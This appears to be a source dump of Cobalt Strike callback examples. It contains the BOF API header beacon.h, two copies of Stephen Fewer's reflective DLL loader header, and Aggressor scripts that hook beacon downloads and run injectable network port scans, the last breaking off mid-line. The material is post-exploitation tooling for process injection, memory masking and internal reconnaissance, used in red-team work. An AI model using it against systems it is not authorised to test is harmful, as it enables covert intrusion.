} 172 | 173 | # Setup a subscription to the downloads topic. 174 | $client = getAggressorClient(); 175 | $dataMgr = [$client getData]; 176 | [$dataMgr subscribe: "downloads", { checkDownload($2); }]; 177 | 178 | -------------------------------------------------------------------------------- /bof/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | */ 21 | 22 | /* data API */ 23 | typedef struct { 24 | char * original; /* the original buffer [so we can free it] */ 25 | char * buffer; /* current pointer into our buffer */ 26 | int length; /* remaining length of data */ 27 | int size; /* total size of this buffer */ 28 | } datap; 29 | 30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 36 | 37 | /* format API */ 38 | typedef struct { 39 | char * original; /* the original buffer [so we can free it] */ 40 | char * buffer; /* current pointer into our buffer */ 41 | int length; /* remaining length of data */ 42 | int size; /* total size of this buffer */ 43 | } formatp; 44 | 45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 52 | 53 | /* Output Functions */ 54 | #define CALLBACK_OUTPUT 0x0 55 | #define CALLBACK_OUTPUT_OEM 0x1e 56 | #define CALLBACK_OUTPUT_UTF8 0x20 57 | #define CALLBACK_ERROR 0x0d 58 | 59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 61 | 62 | 63 | /* Token Functions */ 64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 65 | DECLSPEC_IMPORT void BeaconRevertToken(); 66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 67 | 68 | /* Spawn+Inject Functions */ 69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 74 | 75 | /* Utility Functions */ 76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 77 | 78 | /* Beacon Information */ 79 | /* 80 | * ptr - pointer to the base address of the allocated memory. 81 | * size - the number of bytes allocated for the ptr. 82 | */ 83 | typedef struct { 84 | char * ptr; 85 | size_t size; 86 | } HEAP_RECORD; 87 | #define MASK_SIZE 13 88 | 89 | /* 90 | * sleep_mask_ptr - pointer to the sleep mask base address 91 | * sleep_mask_text_size - the sleep mask text section size 92 | * sleep_mask_total_size - the sleep mask total memory size 93 | * 94 | * beacon_ptr - pointer to beacon's base address 95 | * The stage.obfuscate flag affects this value when using CS default loader. 96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 97 | * false: beacon_ptr = allocated_buffer (A valid address) 98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 100 | * sections - list of memory sections beacon wants to mask. These are offset values 101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary. 102 | * A section is denoted by a pair indicating the start and end offset values. 103 | * The list is terminated by the start and end offset values of 0 and 0. 104 | * heap_records - list of memory addresses on the heap beacon wants to mask. 105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 106 | * mask - the mask that beacon randomly generated to apply 107 | */ 108 | typedef struct { 109 | char * sleep_mask_ptr; 110 | DWORD sleep_mask_text_size; 111 | DWORD sleep_mask_total_size; 112 | 113 | char * beacon_ptr; 114 | DWORD * sections; 115 | HEAP_RECORD * heap_records; 116 | char mask[MASK_SIZE]; 117 | } BEACON_INFO; 118 | 119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info); 120 | 121 | /* Key/Value store functions 122 | * These functions are used to associate a key to a memory address and save 123 | * that information into beacon. These memory addresses can then be 124 | * retrieved in a subsequent execution of a BOF. 125 | * 126 | * key - the key will be converted to a hash which is used to locate the 127 | * memory address. 128 | * 129 | * ptr - a memory address to save. 130 | * 131 | * Considerations: 132 | * - The contents at the memory address is not masked by beacon. 133 | * - The contents at the memory address is not released by beacon. 134 | * 135 | */ 136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 139 | 140 | /* Beacon Data Store functions 141 | * These functions are used to access items in Beacon's Data Store. 142 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 143 | * 144 | * The contents are masked by default, and BOFs must unprotect the entry 145 | * before accessing the data buffer. BOFs must also protect the entry 146 | * after the data is not used anymore. 147 | * 148 | */ 149 | 150 | #define DATA_STORE_TYPE_EMPTY 0 151 | #define DATA_STORE_TYPE_GENERAL_FILE 1 152 | 153 | typedef struct { 154 | int type; 155 | DWORD64 hash; 156 | BOOL masked; 157 | char* buffer; 158 | size_t length; 159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 160 | 161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 165 | 166 | /* Beacon User Data functions */ 167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 168 | -------------------------------------------------------------------------------- /dllinject/example_dll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /dllspawn/example_dll/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /portscan/cs_portscan.cna: -------------------------------------------------------------------------------- 1 | 2 | # Hash map to track cs_portscan information 3 | # Key is beacon id 4 | # Value is the current information 5 | global('%portscan_info $portscan_lock'); 6 | %portscan_info = %(); 7 | $portscan_lock = semaphore(1); # set lock to released state. 8 | 9 | # Adds tracking information for a portscan for the beacon id 10 | # Arguments 11 | # $1 - bid 12 | # 13 | # Returns 14 | # 0 - if the bid already exists in the map 15 | # 1 - if the bid is added to the map 16 | # 17 | sub add_portscan_info { 18 | # Declare local variables 19 | local('$bid $added %$portscan_info'); 20 | 21 | # Assign parameters user friendly names 22 | ($bid) = @_; 23 | 24 | # Try adding the port scan information for this beacon id. 25 | acquire($portscan_lock); 26 | if ($bid in %portscan_info) { 27 | # println("Port scan is already in progress for process: " . binfo($bid, "process") . " pid: " . binfo($bid, "pid")); 28 | $added = 0; 29 | } else { 30 | # println("Starting port scan for process: " . binfo($bid, "process") . " pid: " . binfo($bid, "pid")); 31 | %portscan_info[$bid] = %(header => "", result => ""); 32 | $added = 1; 33 | } 34 | # println(%portscan_info); 35 | release($portscan_lock); 36 | 37 | return $added; 38 | } 39 | 40 | # Removes tracking information for a portscan for the beacon id 41 | # Arguments 42 | # $1 - bid 43 | # 44 | sub remove_portscan_info { 45 | # Declare local variables 46 | local('$bid'); 47 | 48 | # Assign parameters user friendly names 49 | ($bid) = @_; 50 | 51 | # Remove the port scan information for this beacon id. 52 | acquire($portscan_lock); 53 | removeAt(%portscan_info, $bid); 54 | # println(%portscan_info); 55 | release($portscan_lock); 56 | } 57 | 58 | beacon_command_register( 59 | "cs_portscan_clear", 60 | "Clear the beacon's id entry from the tracking information", 61 | 62 | "Clear the beacon's id entry from the tracking information\n\n" . 63 | 64 | "Usage:\n" . 65 | " cs_portscan_clear\n\n" . 66 | 67 | "This is useful if there is an issue with the previous cs_portscan job\n\n", 68 | 69 | "cs_callback_examples" 70 | ); 71 | 72 | alias cs_portscan_clear { 73 | remove_portscan_info($1); 74 | } 75 | 76 | # Process the result from the portscan module and add the information 77 | # to the previous response. When the complete message is received 78 | # report all of the information back to the console in single output 79 | # so it is not mixed with other job output. 80 | # 81 | # Arguments 82 | # $1 - beacon id 83 | # $2 - result - output of the 'portscan' command 84 | # $3 - info - Map containing information about the result 85 | # 86 | sub portscan_cb { 87 | # Declare local variables 88 | local('$bid $result %info @lines $line $save $completed $jid'); 89 | 90 | # Assign parameters user friendly names 91 | ($bid, $result, %info) = @_; 92 | $jid = %info['jid']; 93 | #println("**** portscan_cb"); 94 | #println("**** arg1 (bid): $bid"); 95 | #print("**** arg2 (result): $result"); 96 | #println("**** arg3 (info): " . %info); 97 | 98 | # Skip registered and complete events 99 | if ("job_registered" eq %info["type"] || "job_completed" eq %info["type"]) { 100 | return; 101 | } 102 | 103 | # Process the result and save the info 104 | $save = ""; 105 | $completed = 0; 106 | @lines = split('\n', $result); 107 | foreach $line (@lines) { 108 | # println("check line: $line"); 109 | if ($line eq "Scanner module is complete") { 110 | $completed = 1; 111 | } else { 112 | $save .= "$line\n"; 113 | } 114 | } 115 | 116 | # Add the new information to the previous result. 117 | %portscan_info[$bid]["result"] .= $save; 118 | 119 | # Report the results back when the portscan is completed. 120 | if ($completed) { 121 | bjoblog($bid, $jid, "received output:\n" . 122 | %portscan_info[$bid]["header"] . "\n" . 123 | %portscan_info[$bid]["result"]); 124 | remove_portscan_info($bid); 125 | } 126 | } 127 | 128 | beacon_command_register( 129 | "cs_portscan", 130 | "Scan a network for open services", 131 | 132 | "Scan a network for open services\n\n" . 133 | 134 | "Usage:\n" . 135 | " cs_portscan [options]\n\n" . 136 | 137 | "Arguments:\n" . 138 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 139 | 140 | "Options (specified in any order):\n" . 141 | " --targets - the targets to scan (e.g., 192.168.12.0/24)\n" . 142 | " --ports - the ports to scan (e.g., 1-1024,6667)\n" . 143 | " --discovery - the discovery method to use (arp|icmp|none)\n" . 144 | " --maxconn - the max number of sockets to use (e.g., 1024)\n" . 145 | " --pid - pid to inject into or use for fork&run\n" . 146 | " --arch - arch of the pid to inject into use for fork&run\n\n" . 147 | 148 | "Examples (fork and run):\n" . 149 | " cs_portscan\n" . 150 | " cs_portscan --targets sysA --ports 2000-3000\n\n" . 151 | 152 | "Examples (process injection):\n" . 153 | " cs_portscan --pid 1234 --arch x64\n" . 154 | " cs_portscan --pid 1234 --arch x64 --targets sysA --ports 2000-3000\n\n", 155 | 156 | "cs_callback_examples" 157 | ); 158 | 159 | alias cs_portscan { 160 | # Declare local variables 161 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 162 | 163 | $bid = @_[0]; 164 | 165 | # Check if this bid is already running a portscan 166 | if (add_portscan_info($bid) == 0) { 167 | berror($bid, "Port scan already in progress"); 168 | return; 169 | } 170 | 171 | # Set the defaults 172 | %opts["--targets"] = binfo($bid, 